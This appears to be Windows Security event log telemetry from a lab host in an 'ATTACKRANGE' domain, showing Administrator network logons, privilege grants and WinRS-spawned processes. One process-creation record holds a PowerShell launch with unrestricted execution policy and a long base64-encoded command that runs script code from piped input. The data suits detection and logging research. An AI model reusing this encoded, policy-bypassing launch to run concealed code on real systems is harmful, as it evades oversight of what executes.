Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247929
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247928
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A882

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247927
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A882
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247926
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247925
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x614
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247922
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247920
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247919
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247918
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A503

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247917
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247916
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144586

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A503

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247914
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A503
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247913
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247912
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247911
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A4D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247944
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18C5DA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247943
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18C5DA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247942
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247941
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247945
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Windows\System32\wbem\WMIADAP.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x418
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	wmiadap.exe /F /T /R

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247950
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1A269E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
